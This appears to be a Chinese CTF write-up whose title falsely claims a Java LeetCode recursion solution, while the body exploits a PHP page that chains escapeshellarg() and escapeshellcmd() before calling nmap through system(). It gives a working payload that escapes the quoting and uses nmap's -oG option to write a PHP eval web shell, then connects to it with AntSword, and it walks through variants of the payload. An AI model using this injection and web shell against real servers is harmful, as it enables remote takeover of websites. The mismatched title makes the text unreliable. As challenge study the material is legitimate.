Java實現的利用遞迴和回溯解決Leetcode一道hard難度題
今天做的這道題是關於escapeshellarg()+escapeshellcmd()這倆函式的,也是看了下wp,這裡記錄一下
題目
拿到題目,題目看著簡單,很好懂
分析
remote_addr和x_forwarded_for這兩個是見的比較多的,伺服器獲取ip用的,這裡沒什麼用,
escapeshellarg()和escapeshellcmd() 沒見過,可以參考這篇文章:https://paper.seebug.org/164/
直接找到了上面這篇文章,這兩個函式在一起用會有些問題
傳入的引數是:172.17.0.2' -v -d a=1
經過escapeshellarg處理後變成了' 172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連線的作用。
經過escapeshellcmd處理後變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最後那個不配對兒的引號進行了轉義:
http://php.net/manual/zh/function.escapeshellcmd.php
最後執行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由於中間的\\被解釋為\而不再是轉義字元,所以後面的'沒有被轉義,與再後面
的'配對兒成了一個空白連線符。所以可以簡化為curl 172.17.0.2\ -v -d a=1 ',即向172.17.0.2\發起請求,POST 資料為a=1'。
簡單的來說就是兩次轉義後出現了問題,沒有考慮到單引號的問題
然後往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
這有個system來執行命令,而且有傳參,肯定是利用這裡了
這裡程式碼的本意是希望我們輸入ip這樣的引數做一個掃描,通過上面的兩個函式來進行規則過濾轉義,我們的輸入會被單引號引起來,但是因為我們看到了上面的漏洞所以我們可以逃脫這個引號的束縛
這裡常見的命令後注入操作如 | & &&都不行,雖然我們通過上面的操作逃過了單引號,但escapeshellcmd會對這些特殊符號前面加上\來轉義…
這時候就只有想想能不能利用nmap來做些什麼了。
這時候搜尋可以發現在nmap命令中 有一個引數-oG可以實現將命令和結果寫到檔案
這個命令就是我們的輸入可控!然後寫入到檔案!OK很自然的想到了上傳一個一句話木馬了…
我們來構造payload
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
執行後會返回資料夾名
然後用蟻劍連線,拿到flag
我們這裡再來分析一下payload容易出現的一些細節上的問題
首先是後面沒有加引號
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php
先經過escapeshellarg()函式處理,該函式會先對單引號轉義,再用單引號將左右兩部分括起來從而起到連線的作用。
?host=''\'' <?php @eval($_POST["hack"]);?> -oG hack.php'
再經過escapeshellcmd()函式處理,escapeshellcmd對\以及最後那個不配對兒的引號進行了轉義,轉義命令中的所有shell元字元來完成工作。這些元字元包括:#&;`,|*?~<>^()[]{}$\\。:
?host=''\'' \<\?php @eval\($_POST\["hack"\]\)\;\?\> -oG hack.php\'
返回結果是上面那樣檔名後面會多一個引號
然後是加引號但引號前沒有空格
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php'
執行結果如下
''\\'' \<\?\php @eval\($_POST\["hack"\]\)\;\?\> -oG hack.php'\\'''
檔名後面就會多出\\
總結
這道題主要就是考查一個escapeshellarg()和escapeshellcmd()這個點
外加一個nmap的檔案寫入。
參考
https://paper.seebug.org/164/
https://blog.csdn.net/qq_26406447/article/details/100711933